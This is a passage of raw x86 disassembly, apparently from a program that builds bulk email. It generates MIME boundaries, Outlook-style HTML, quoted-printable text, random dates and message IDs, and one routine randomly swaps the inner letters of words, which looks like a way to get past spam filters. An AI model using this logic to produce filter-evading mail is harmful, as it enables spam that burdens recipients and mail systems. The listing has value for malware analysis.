push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call ds:dword_418168 cmp eax, ebx mov [esi+124h], eax jnz short loc_406F7B push ebx push ebx push ebx push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call ds:dword_418168 cmp eax, ebx mov [esi+124h], eax jnz short loc_406F7B mov ecx, esi call sub_40387F jmp loc_407072 ; --------------------------------------------------------------------------- loc_406F7B: ; CODE XREF: sub_406E37+11Cj ; sub_406E37+136j push ebx call sub_40CFAE push eax call sub_40CF2A pop ecx pop ecx call sub_40CF34 and eax, 8000001Fh jns short loc_406F9A dec eax or eax, 0FFFFFFE0h inc eax loc_406F9A: ; CODE XREF: sub_406E37+15Cj mov [esi+0A4h], eax mov eax, offset sub_406DF2 push ebx mov ecx, edi mov [edi+10h], eax mov [edi+14h], ebx mov [edi+8], esi mov [edi+4], ebx call sub_40B3A7 lea ecx, [esi+100h] mov eax, offset sub_4062A6 push ebx mov [ecx+10h], eax mov [ecx+14h], ebx mov [ecx+8], esi mov [ecx+4], ebx call sub_40B3A7 lea ecx, [esi+0E8h] mov eax, offset sub_40694B push ebx mov [ecx+10h], eax mov [ecx+14h], ebx mov [ecx+8], esi mov [ecx+4], ebx call sub_40B3A7 push 80h call sub_40D0BB cmp eax, ebx pop ecx jz short loc_407012 lea ecx, [esi+94h] push ecx mov ecx, eax call sub_41634A jmp short loc_407014 ; --------------------------------------------------------------------------- loc_407012: ; CODE XREF: sub_406E37+1C9j xor eax, eax loc_407014: ; CODE XREF: sub_406E37+1D9j lea edi, [esi+128h] push eax mov ecx, edi call sub_40682E mov ecx, [edi] call sub_41537B test al, al jz short loc_407034 or dword ptr [esi+9Ch], 1 loc_407034: ; CODE XREF: sub_406E37+1F4j push 58h call sub_40D0BB cmp eax, ebx pop ecx jz short loc_407050 lea edx, [esi+98h] push edx mov ecx, eax call sub_416874 jmp short loc_407052 ; --------------------------------------------------------------------------- loc_407050: ; CODE XREF: sub_406E37+207j xor eax, eax loc_407052: ; CODE XREF: sub_406E37+217j lea edi, [esi+12Ch] push eax mov ecx, edi call sub_406877 mov ecx, [edi] call sub_416829 test al, al jz short loc_407072 or dword ptr [esi+9Ch], 2 loc_407072: ; CODE XREF: sub_406E37+13Fj ; sub_406E37+232j pop edi mov eax, esi pop esi pop ebx pop ebp retn 0Ch sub_406E37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40707B proc near ; CODE XREF: sub_40746D+6Fp ; sub_4074FB+7EBp ... arg_0 = byte ptr 8 arg_1 = byte ptr 9 push ebp mov ebp, esp mov al, [ebp+arg_0] mov [ebp+arg_0], al push esi lea eax, [ebp+arg_0] push eax mov esi, ecx mov [ebp+arg_1], 0 call sub_40CD83 pop ecx push eax lea eax, [ebp+arg_0] push eax mov ecx, esi call sub_40DBA2 pop esi pop ebp retn 4 sub_40707B endp ; =============== S U B R O U T I N E ======================================= sub_4070A6 proc near ; CODE XREF: sub_402624+1DAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov esi, ecx call sub_40DB48 lea edi, [esi+4] mov ecx, edi call sub_40DB48 push [esp+8+arg_0] mov ecx, edi call sub_4012E7 push [esp+8+arg_4] mov ecx, esi call sub_4012E7 mov eax, [esp+8+arg_8] mov [esi+8], eax pop edi mov eax, esi pop esi retn 0Ch sub_4070A6 endp ; =============== S U B R O U T I N E ======================================= sub_4070DD proc near ; CODE XREF: sub_4074FB+3A7p ; sub_4074FB+418p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] push 1 push 0 push 0 push dword ptr [edi+4] call sub_401170 mov esi, eax mov eax, [edi] mov ecx, edx xor edx, edx add esi, eax mov eax, [esp+8+arg_4] adc ecx, edx cdq add esi, eax adc ecx, edx mov eax, ecx sar eax, 1Fh mov eax, [esp+8+arg_8] pop edi mov [eax], esi mov [eax+4], ecx pop esi retn 0Ch sub_4070DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_407119 proc near ; CODE XREF: sub_4074FB+211p var_94 = byte ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_80 = dword ptr -80h var_78 = dword ptr -78h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 94h push ebx push esi lea eax, [ebp+6Ch+var_94] push eax push [ebp+6Ch+arg_0] mov [ebp+6Ch+var_70], offset aJan ; "Jan" mov [ebp+6Ch+var_6C], offset aFeb ; "Feb" mov [ebp+6Ch+var_68], offset aMar ; "Mar" mov [ebp+6Ch+var_64], offset aApr ; "Apr" mov [ebp+6Ch+var_60], offset aMay ; "May" mov [ebp+6Ch+var_5C], offset aJun ; "Jun" mov [ebp+6Ch+var_58], offset aJul ; "Jul" mov [ebp+6Ch+var_54], offset aAug ; "Aug" mov [ebp+6Ch+var_50], offset aSep ; "Sep" mov [ebp+6Ch+var_4C], offset aOct ; "Oct" mov [ebp+6Ch+var_48], offset aNov ; "Nov" mov [ebp+6Ch+var_44], offset aDec ; "Dec" mov [ebp+6Ch+var_40], offset aSun ; "Sun" mov [ebp+6Ch+var_3C], offset aMon ; "Mon" mov [ebp+6Ch+var_38], offset aTue ; "Tue" mov [ebp+6Ch+var_34], offset aWed ; "Wed" mov [ebp+6Ch+var_30], offset aThu ; "Thu" mov [ebp+6Ch+var_2C], offset aFri ; "Fri" mov [ebp+6Ch+var_28], offset aSat ; "Sat" call sub_40D1A6 lea eax, [ebp+6Ch+var_24] push eax push [ebp+6Ch+arg_0] call sub_40D261 mov esi, [ebp+6Ch+var_1C] sub esi, [ebp+6Ch+var_8C] mov eax, [ebp+6Ch+var_10] imul esi, 3Ch sub esi, [ebp+6Ch+var_90] add esp, 10h add esi, [ebp+6Ch+var_20] cmp eax, [ebp+6Ch+var_80] jz short loc_4071E2 sub eax, [ebp+6Ch+var_80] jmp short loc_4071E8 ; --------------------------------------------------------------------------- loc_4071E2: ; CODE XREF: sub_407119+C2j mov eax, [ebp+6Ch+var_8] sub eax, [ebp+6Ch+var_78] loc_4071E8: ; CODE XREF: sub_407119+C7j imul eax, 5A0h add esi, eax test esi, esi mov bl, 2Bh jge short loc_4071FB add bl, 2 neg esi loc_4071FB: ; CODE XREF: sub_407119+DBj cmp [ebp+6Ch+arg_4], 0 mov ecx, [ebp+6Ch+arg_8] jnz short loc_40724E push 20h call sub_40DADA push 3Ch pop ecx mov eax, esi cdq idiv ecx push edx push eax movsx eax, bl push eax push [ebp+6Ch+var_24] mov eax, [ebp+6Ch+var_10] push [ebp+6Ch+var_20] add eax, 76Ch push [ebp+6Ch+var_1C] push eax mov eax, [ebp+6Ch+var_14] push [ebp+eax*4+6Ch+var_70] mov eax, [ebp+6Ch+var_C] push [ebp+6Ch+var_18] push [ebp+eax*4+6Ch+var_40] push offset aSDS04d02d02d02 ; "%s, %d %s %04d %02d:%02d:%02d %c%02d%02"... push [ebp+6Ch+arg_8] call sub_40DB15 add esp, 30h jmp short loc_40727F ; --------------------------------------------------------------------------- loc_40724E: ; CODE XREF: sub_407119+E9j push 10h call sub_40DADA push [ebp+6Ch+var_24] mov eax, [ebp+6Ch+var_14] push [ebp+6Ch+var_20] inc eax push [ebp+6Ch+var_1C] push [ebp+6Ch+var_18] push eax mov eax, [ebp+6Ch+var_10] add eax, 76Ch push eax push offset a04d02d02d02d02 ; "%04d%02d%02d%02d%02d%02d" push [ebp+6Ch+arg_8] call sub_40DB15 add esp, 20h loc_40727F: ; CODE XREF: sub_407119+133j pop esi pop ebx add ebp, 6Ch leave retn 0Ch sub_407119 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407288 proc near ; CODE XREF: sub_4074FB+80Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] or ebx, 0FFFFFFFFh mov esi, ebx mov edi, ebx call sub_40CD83 and [ebp+var_8], 0 test eax, eax pop ecx mov [ebp+var_18], eax jl loc_407369 mov eax, [ebp+arg_0] mov [ebp+var_C], ebx sub [ebp+var_C], eax mov [ebp+var_4], eax loc_4072BC: ; CODE XREF: sub_407288+DBj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] push eax call sub_40CE3C test eax, eax pop ecx jz short loc_4072D4 cmp esi, ebx jnz short loc_4072D4 mov esi, [ebp+var_8] loc_4072D4: ; CODE XREF: sub_407288+43j ; sub_407288+47j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] push eax call sub_40CE3C test eax, eax pop ecx jnz short loc_4072F2 cmp edi, ebx jnz short loc_4072F2 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] lea edi, [eax+ecx] loc_4072F2: ; CODE XREF: sub_407288+5Bj ; sub_407288+5Fj cmp esi, ebx jle short loc_407357 cmp edi, ebx jle short loc_407342 mov eax, edi sub eax, esi cmp eax, 2 jle short loc_407342 inc esi add edi, 0FFFFFFFEh jmp short loc_40733A ; --------------------------------------------------------------------------- loc_407309: ; CODE XREF: sub_407288+B4j call sub_40CF34 and eax, 80000001h jns short loc_40731A dec eax or eax, 0FFFFFFFEh inc eax loc_40731A: ; CODE XREF: sub_407288+8Bj jz short loc_407339 mov ecx, [ebp+arg_0] lea eax, [esi+ecx+1] add ecx, esi mov [ebp+var_10], eax mov al, [eax] mov edx, [ebp+var_10] mov [ebp+var_14], ecx mov cl, [ecx] mov [edx], cl mov ecx, [ebp+var_14] mov [ecx], al loc_407339: ; CODE XREF: sub_407288:loc_40731Aj inc esi loc_40733A: ; CODE XREF: sub_407288+7Fj cmp esi, edi jl short loc_407309 mov edi, ebx mov esi, ebx loc_407342: ; CODE XREF: sub_407288+70j ; sub_407288+79j cmp esi, ebx jle short loc_407357 cmp edi, ebx jle short loc_407357 mov eax, edi sub eax, esi cmp eax, 3 jg short loc_407357 mov edi, ebx mov esi, ebx loc_407357: ; CODE XREF: sub_407288+6Cj ; sub_407288+BCj ... inc [ebp+var_8] mov eax, [ebp+var_8] inc [ebp+var_4] cmp eax, [ebp+var_18] jle loc_4072BC loc_407369: ; CODE XREF: sub_407288+22j mov eax, [ebp+arg_0] pop edi pop esi pop ebx leave retn 4 sub_407288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407373 proc near ; CODE XREF: sub_4074FB+2E4p ; sub_4074FB+2FCp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov ecx, [ebp+arg_C] push ebx push esi push edi call sub_40DB00 push [ebp+arg_4] call sub_40CD83 push [ebp+arg_4] mov edi, [ebp+arg_0] push edi mov ebx, eax call sub_40CE77 add esp, 0Ch jmp short loc_4073BD ; --------------------------------------------------------------------------- loc_40739C: ; CODE XREF: sub_407373+52j mov byte ptr [esi], 0 call sub_401AA0 push [ebp+arg_8] mov ecx, [ebp+arg_C] call sub_401AA0 push [ebp+arg_4] lea edi, [esi+ebx] push edi call sub_40CE77 pop ecx pop ecx loc_4073BD: ; CODE XREF: sub_407373+27j mov ecx, [ebp+arg_C] mov esi, eax test esi, esi push edi jnz short loc_40739C call sub_401AA0 pop edi pop esi pop ebx pop ebp retn 10h sub_407373 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4073D3 proc near ; CODE XREF: sub_407DE3+1Ap ; sub_407DE3+16Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push edi xor ebx, ebx xor esi, esi call sub_40CD83 pop ecx xor ecx, ecx test eax, eax mov [ebp+arg_0], eax jle short loc_40741A mov edx, [ebp+arg_4] loc_4073F3: ; CODE XREF: sub_4073D3+45j mov al, [ecx+edi] cmp al, 25h jnz short loc_407423 cmp byte ptr [ecx+edi+1], 5Eh jnz short loc_407423 mov eax, ebx inc ebx test eax, eax jnz short loc_407413 and dword ptr [edx+esi*8+4], 0 lea eax, [ecx+2] mov [edx+esi*8], eax loc_407413: ; CODE XREF: sub_4073D3+33j ; sub_4073D3+5Cj inc ecx loc_407414: ; CODE XREF: sub_4073D3+52j ; sub_4073D3+59j ... inc ecx cmp ecx, [ebp+arg_0] jl short loc_4073F3 loc_40741A: ; CODE XREF: sub_4073D3+1Bj pop edi mov eax, esi pop esi pop ebx pop ebp retn 8 ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_4073D3+25j ; sub_4073D3+2Cj cmp al, 5Eh jnz short loc_407414 cmp byte ptr [ecx+edi+1], 25h jnz short loc_407414 dec ebx jnz short loc_407413 mov eax, ecx sub eax, [edx+esi*8] inc esi mov [edx+esi*8-4], eax jmp short loc_407414 sub_4073D3 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40743D(double,int) sub_40743D proc near ; CODE XREF: sub_40746D+40p arg_0 = qword ptr 4 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx mov eax, ecx jge short loc_407449 neg eax loc_407449: ; CODE XREF: sub_40743D+8j fld1 fld st fld [esp+arg_0] loc_407451: ; CODE XREF: sub_40743D+22j test al, 1 jz short loc_407457 fmul st(1), st loc_407457: ; CODE XREF: sub_40743D+16j shr eax, 1 jz short loc_407461 fld st fmulp st(1), st jmp short loc_407451 ; --------------------------------------------------------------------------- loc_407461: ; CODE XREF: sub_40743D+1Cj test ecx, ecx fstp st jge short loc_40746A fdivp st(1), st retn ; --------------------------------------------------------------------------- loc_40746A: ; CODE XREF: sub_40743D+28j fstp st(1) retn sub_40743D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40746D proc near ; CODE XREF: sub_4074FB+128p var_24 = qword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h fild [ebp+arg_0] push esi push ecx push ecx ; double fstp [esp+24h+var_24] call sub_40CF9B fdiv ds:dbl_41BEE8 fstp [esp+24h+var_24] call sub_40CF55 fistp qword ptr [ebp+var_10] pop ecx mov esi, [ebp+var_10] test esi, esi pop ecx jl short loc_4074F6 loc_40749B: ; CODE XREF: sub_40746D+87j fild [ebp+arg_0] push esi ; int push ecx ; double push ecx ; double fstp qword ptr [ebp+var_10] fld ds:dbl_41BEE0 fstp qword ptr [esp] call sub_40743D fstp [ebp+var_8] add esp, 4 fld qword ptr [ebp+var_10] fdiv [ebp+var_8] fstp [esp+24h+var_24] call sub_40CF55 fistp [ebp+var_18] pop ecx mov eax, dword ptr [ebp+var_18] mov [ebp+arg_0], eax movzx eax, ds:byte_41BE08[eax] pop ecx mov ecx, [ebp+arg_4] push eax call sub_40707B dec esi fild [ebp+arg_0] fmul [ebp+var_8] fsubr qword ptr [ebp+var_10] fistp qword ptr [ebp+var_10] mov eax, [ebp+var_10] mov [ebp+arg_0], eax jns short loc_40749B loc_4074F6: ; CODE XREF: sub_40746D+2Cj pop esi leave retn 8 sub_40746D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4074FB proc near ; CODE XREF: sub_407DE3+196p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi mov edi, ecx lea ecx, [ebp+var_4] call sub_40DB48 mov ebx, [ebp+arg_0] mov eax, [ebx] movsx ecx, byte ptr [eax] lea edx, [ecx-41h] ; switch 26 cases cmp edx, 19h ja loc_407D34 ; default ; jumptable 00407522 case 84 jmp ds:off_407D7B[edx*4] ; switch jump loc_407529: ; DATA XREF: .text:off_407D7Bo push 0 ; jumptable 00407522 case 89 call sub_40CFAE mov esi, eax mov eax, [ebx] inc eax push eax call sub_40CE59 add eax, esi mov [ebp+arg_4], eax lea eax, [ebp+var_30] push eax lea eax, [ebp+arg_4] push eax call sub_40D1A6 add esp, 10h push 9 lea ecx, [ebp+var_4] call sub_40DADA mov eax, [ebp+var_1C] cdq push 3Ch pop ecx idiv ecx mov ecx, [ebp+var_4] push 3Eh mov al, ds:byte_41BE08[edx] mov [ecx], al mov eax, [ebp+var_20] mov al, ds:byte_41BE08[eax] mov ecx, [ebp+var_4] mov [ecx+1], al mov eax, [ebp+var_24] mov al, ds:byte_41BE08[eax] mov ecx, [ebp+var_4] mov [ecx+2], al mov eax, [ebp+var_28] mov al, ds:byte_41BE08[eax] mov ecx, [ebp+var_4] mov [ecx+3], al mov eax, [ebp+var_2C] cdq pop ecx idiv ecx mov ecx, [ebp+var_4] push 3Eh mov al, ds:byte_41BE08[edx] mov [ecx+4], al mov eax, [ebp+var_30] cdq pop ecx idiv ecx mov ecx, [ebp+var_4] mov al, ds:byte_41BE08[edx] mov [ecx+5], al call sub_40CF34 imul eax, 3Bh cdq mov esi, 7FFFh mov ecx, esi idiv ecx mov ecx, [ebp+var_4] mov al, ds:byte_41BE08[eax] mov [ecx+6], al call sub_40CF34 imul eax, 3Bh cdq idiv esi mov ecx, [ebp+var_4] mov al, ds:byte_41BE08[eax] mov [ecx+7], al mov eax, [ebp+var_4] mov byte ptr [eax+8], 0 jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407606: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push 0 ; jumptable 00407522 case 77 call sub_40CFAE mov esi, eax mov eax, [ebx] inc eax push eax call sub_40CE59 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx add eax, esi push eax mov ecx, edi call sub_40746D jmp loc_407D5F ; --------------------------------------------------------------------------- loc_40762D: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo inc eax ; jumptable 00407522 case 80 push 3Ah push eax call sub_40CECD mov esi, eax mov byte ptr [esi], 0 mov eax, ebx mov eax, [eax] inc eax push eax call sub_40CE59 inc esi push esi mov ebx, eax call sub_40CD83 mov edi, eax add esp, 10h lea eax, [ebx+1] push eax lea ecx, [ebp+var_4] dec edi call sub_40DADA and [ebp+arg_4], 0 test ebx, ebx jle loc_407D5F loc_40766D: ; CODE XREF: sub_4074FB+194j call sub_40CF34 imul eax, edi cdq mov ecx, 7FFFh idiv ecx mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] inc [ebp+arg_4] cmp [ebp+arg_4], ebx mov al, [eax+esi] mov [edx+ecx], al jl short loc_40766D jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407696: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo movsx esi, byte ptr [eax+1] ; jumptable 00407522 case 67 add eax, 2 push eax sub esi, 30h call sub_40CA6D pop ecx mov ecx, [ebp+arg_8] mov [ecx+esi*4], eax mov eax, [ebx] inc eax inc eax jmp loc_407D52 ; --------------------------------------------------------------------------- loc_4076B6: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo movsx esi, byte ptr [eax+1] ; jumptable 00407522 case 72 add eax, 2 push eax sub esi, 30h call sub_40CA6D pop ecx mov ecx, [ebp+arg_8] mov [ecx+esi*4], eax jmp loc_407D5F ; --------------------------------------------------------------------------- loc_4076D2: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo movsx eax, byte ptr [eax+1] ; jumptable 00407522 case 86 mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4-0C0h] test eax, eax jmp loc_407D52 ; --------------------------------------------------------------------------- loc_4076E7: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push 0 ; jumptable 00407522 case 68 call sub_40CFAE mov esi, eax mov eax, [ebx] inc eax push eax call sub_40CE59 pop ecx add eax, esi pop ecx mov [ebp+arg_4], eax lea eax, [ebp+var_4] push eax push 0 loc_407706: ; CODE XREF: sub_4074FB+23Aj lea eax, [ebp+arg_4] push eax mov ecx, edi call sub_407119 jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407716: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push 0 ; jumptable 00407522 case 87 call sub_40CFAE mov esi, eax mov eax, [ebx] inc eax push eax call sub_40CE59 pop ecx add eax, esi pop ecx mov [ebp+arg_4], eax lea eax, [ebp+var_4] push eax push 1 jmp short loc_407706 ; --------------------------------------------------------------------------- loc_407737: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo inc eax ; jumptable 00407522 case 82 push eax call sub_40CD83 test eax, eax pop ecx jnz short loc_40774C xor edi, edi mov esi, 0F4240h jmp short loc_407785 ; --------------------------------------------------------------------------- loc_40774C: ; CODE XREF: sub_4074FB+246j mov eax, [ebx] inc eax push 2Dh push eax call sub_40CECD mov esi, eax test esi, esi pop ecx pop ecx jz short loc_407777 mov byte ptr [esi], 0 mov eax, [ebx] inc eax push eax call sub_40CE59 inc esi push esi mov edi, eax call sub_40CE59 pop ecx jmp short loc_407782 ; --------------------------------------------------------------------------- loc_407777: ; CODE XREF: sub_4074FB+262j mov eax, [ebx] xor edi, edi inc eax push eax call sub_40CE59 loc_407782: ; CODE XREF: sub_4074FB+27Aj mov esi, eax pop ecx loc_407785: ; CODE XREF: sub_4074FB+24Fj push 0Ch lea ecx, [ebp+var_4] call sub_40DADA call sub_40CF34 sub esi, edi imul eax, esi cdq mov ecx, 7FFFh idiv ecx add eax, edi loc_4077A3: ; CODE XREF: sub_4074FB+767j push eax lea eax, [ebp+var_4] push offset aI ; "%i" push eax call sub_40DB15 add esp, 0Ch jmp loc_407D5F ; --------------------------------------------------------------------------- loc_4077BA: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo lea ecx, [ebp+arg_4] ; jumptable 00407522 case 76 call sub_40DB48 lea ecx, [ebp+arg_8] call sub_40DB48 lea eax, [ebp+arg_4] push eax mov eax, [ebx] mov esi, offset dword_41BDD8 push esi push offset aDivFontFace3da ; "<DIV><FONT face=3DArial size=3D2></FONT"... inc eax push eax mov ecx, edi call sub_407373 lea eax, [ebp+arg_8] push eax push offset asc_41BC28 ; " " push offset a20 ; "=20\r\n" push [ebp+arg_4] mov ecx, edi call sub_407373 lea eax, [ebp+arg_4] push eax push esi push offset aDivFontFace3_0 ; "<DIV><FONT face=3DArial size=3D2>" push [ebp+arg_8] mov ecx, edi call sub_407373 lea eax, [ebp+var_4] push eax push esi push offset aFontDiv ; "</FONT></DIV>" push [ebp+arg_4] mov ecx, edi call sub_407373 lea ecx, [ebp+arg_8] call sub_40DB59 lea ecx, [ebp+arg_4] call sub_40DB59 jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407839: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo inc eax ; jumptable 00407522 case 79 push 3Ah push eax call sub_40CECD mov esi, eax mov byte ptr [esi], 0 pop ecx mov eax, ebx mov eax, [eax] pop ecx inc esi inc eax push eax call ds:dword_4181CC push esi mov [ebp+arg_8], eax call sub_40CE59 mov ebx, [ebp+arg_18] cmp dword ptr [ebx], 0 pop ecx mov [ebp+arg_4], eax jnz short loc_407889 push 3Ah push esi call sub_40CECD test eax, eax pop ecx pop ecx jz short loc_407883 inc eax push eax call sub_40CE59 pop ecx jmp short loc_407887 ; --------------------------------------------------------------------------- loc_407883: ; CODE XREF: sub_4074FB+37Cj mov eax, [ebp+arg_4] dec eax loc_407887: ; CODE XREF: sub_4074FB+386j mov [ebx], eax loc_407889: ; CODE XREF: sub_4074FB+36Ej lea eax, [ebp+var_C] push eax mov eax, [ebp+arg_4] sub eax, [ebx] mov ecx, edi imul eax, [ebp+arg_14] imul eax, 2710h push eax push [ebp+arg_C] call sub_4070DD push 20h lea ecx, [ebp+var_4] call sub_40DADA push [ebp+arg_8] push [ebp+var_C] push [ebp+var_8] push [ebp+arg_4] push offset a04x08_8lx08_8l ; "%04x%08.8lx$%08.8lx$%08x@" loc_4078C2: ; CODE XREF: sub_4074FB+434j lea eax, [ebp+var_4] push eax call sub_40DB15 add esp, 18h jmp loc_407D5F ; --------------------------------------------------------------------------- loc_4078D3: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo inc eax ; jumptable 00407522 case 66 push 3Ah push eax call sub_40CECD mov esi, eax mov byte ptr [esi], 0 mov eax, [ebx] inc eax push eax call sub_40CE59 inc esi push esi mov ebx, eax call sub_40CE59 mov ecx, [ebp+arg_18] mov esi, eax add esp, 10h lea eax, [ebp+var_C] push eax mov eax, esi sub eax, [ecx] mov ecx, edi imul eax, [ebp+arg_14] imul eax, 2710h push eax push [ebp+arg_10] call sub_4070DD push 2Ch lea ecx, [ebp+var_4] call sub_40DADA push [ebp+var_C] push [ebp+var_8] push esi push ebx push offset a_nextpart_03d_ ; "----=_NextPart_%03d_%04X_%08.8lX.%08.8l"... jmp short loc_4078C2 ; --------------------------------------------------------------------------- loc_407931: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push 0 ; jumptable 00407522 case 65 push dword ptr [edi] jmp loc_407D57 ; --------------------------------------------------------------------------- loc_40793A: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo lea edi, [eax+1] ; jumptable 00407522 case 81 push edi call sub_40CD83 mov [ebp+arg_8], eax xor esi, esi xor eax, eax inc eax or ebx, 0FFFFFFFFh cmp [ebp+arg_8], esi pop ecx mov [ebp+arg_4], esi mov [ebp+arg_18], esi jle loc_407D5F loc_40795E: ; CODE XREF: sub_4074FB+518j mov cl, [esi+edi] cmp cl, 20h jnz short loc_407970 mov edx, [ebp+arg_4] mov ebx, esi mov [ebp+arg_18], edx jmp short loc_407987 ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_4074FB+469j cmp cl, 3Ch jnz short loc_40797E mov [ebp+arg_4], 1 jmp short loc_407987 ; --------------------------------------------------------------------------- loc_40797E: ; CODE XREF: sub_4074FB+478j cmp cl, 3Eh jnz short loc_407987 and [ebp+arg_4], 0 loc_407987: ; CODE XREF: sub_4074FB+473j ; sub_4074FB+481j ... cmp cl, 0Dh jnz short loc_407993 cmp byte ptr [esi+edi+1], 0Ah jz short loc_40799B loc_407993: ; CODE XREF: sub_4074FB+48Fj mov ecx, [ebp+arg_8] dec ecx cmp esi, ecx jnz short loc_4079B3 loc_40799B: ; CODE XREF: sub_4074FB+496j lea ecx, [eax+1] push ecx mov ecx, esi sub ecx, eax lea eax, [ecx+edi+1] push eax lea ecx, [ebp+var_4] call sub_40DBA2 inc esi jmp short loc_407A09 ; --------------------------------------------------------------------------- loc_4079B3: ; CODE XREF: sub_4074FB+49Ej cmp eax, 49h jnz short loc_407A0E cmp ebx, 0FFFFFFFFh lea ecx, [ebp+var_4] jle short loc_4079F0 mov eax, ebx sub eax, esi add eax, 48h push eax lea eax, [esi+edi-48h] push eax call sub_40DBA2 cmp [ebp+arg_18], 0 lea ecx, [ebp+var_4] jz short loc_4079E2 push offset a20 ; "=20\r\n" jmp short loc_4079E7 ; --------------------------------------------------------------------------- loc_4079E2: ; CODE XREF: sub_4074FB+4DEj push offset asc_41BF08 ; " =\r\n" loc_4079E7: ; CODE XREF: sub_4074FB+4E5j call sub_401AA0 mov esi, ebx jmp short loc_407A09 ; --------------------------------------------------------------------------- loc_4079F0: ; CODE XREF: sub_4074FB+4C3j push 49h lea eax, [esi+edi-48h] push eax call sub_40DBA2 push offset asc_41BF04 ; "=\r\n" lea ecx, [ebp+var_4] call sub_401AA0 loc_407A09: ; CODE XREF: sub_4074FB+4B6j ; sub_4074FB+4F3j xor eax, eax or ebx, 0FFFFFFFFh loc_407A0E: ; CODE XREF: sub_4074FB+4BBj inc esi inc eax cmp esi, [ebp+arg_8] jl loc_40795E jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407A1E: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo lea edi, [eax+1] ; jumptable 00407522 case 71 push edi call sub_40CD83 mov [ebp+arg_8], eax xor esi, esi xor eax, eax inc eax or ebx, 0FFFFFFFFh cmp [ebp+arg_8], esi pop ecx mov [ebp+arg_4], esi mov [ebp+arg_18], esi jle loc_407D5F loc_407A42: ; CODE XREF: sub_4074FB+5E4j mov cl, [esi+edi] cmp cl, 20h jnz short loc_407A54 mov edx, [ebp+arg_4] mov ebx, esi mov [ebp+arg_18], edx jmp short loc_407A6B ; --------------------------------------------------------------------------- 